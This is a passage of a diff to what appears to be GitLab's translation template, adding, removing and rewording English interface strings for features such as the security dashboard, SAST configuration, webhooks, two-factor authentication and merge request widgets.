+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21313,6 +21932,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21340,7 +21962,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21376,13 +21998,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr ""
-
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21397,19 +22016,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21421,6 +22034,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21439,13 +22055,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21517,7 +22133,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21526,6 +22142,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21556,9 +22175,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21682,6 +22298,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21712,6 +22331,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -21901,6 +22523,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -21913,6 +22541,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22229,19 +22863,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22337,6 +22971,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22379,7 +23016,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22430,12 +23067,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22493,6 +23139,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22622,10 +23271,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23522,6 +24171,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23570,6 +24222,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23582,6 +24237,9 @@ msgstr ""
msgid "Tags"
msgstr ""
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -23763,6 +24421,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -23831,9 +24495,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -23870,15 +24531,12 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
msgstr[1] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -23905,6 +24563,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -23935,6 +24596,9 @@ msgstr ""
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -23989,6 +24653,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -24090,13 +24760,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24135,6 +24805,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr ""
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24252,6 +24925,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24327,12 +25003,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24345,6 +25024,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24495,19 +25177,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24531,6 +25213,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24561,7 +25246,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24735,9 +25420,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -24900,15 +25582,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -24969,6 +25651,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25342,9 +26027,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25429,9 +26111,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25453,9 +26141,6 @@ msgstr ""
msgid "Today"
msgstr ""
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25516,6 +26201,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25660,6 +26348,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -25729,9 +26420,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -25747,10 +26447,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -25933,7 +26645,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -26023,6 +26735,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
@@ -26104,9 +26819,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26122,7 +26834,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26197,7 +26909,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26287,9 +26999,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26341,9 +27050,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26587,9 +27293,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26623,6 +27335,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26659,6 +27374,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26701,6 +27419,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -26903,6 +27627,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -26966,9 +27693,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27110,7 +27834,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27155,6 +27879,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27176,21 +27984,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27200,6 +28008,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27517,10 +28328,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27529,6 +28340,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27538,6 +28355,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27574,9 +28394,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27610,13 +28427,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27700,10 +28517,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -27916,6 +28733,9 @@ msgstr ""
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -27991,7 +28811,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28108,6 +28928,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28236,6 +29059,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28538,12 +29364,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -28700,6 +29520,11 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "group"
msgstr ""
@@ -28745,9 +29570,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -28789,6 +29611,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -28938,9 +29763,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -28953,6 +29784,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -29025,9 +29859,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29061,12 +29892,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -29148,19 +29973,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
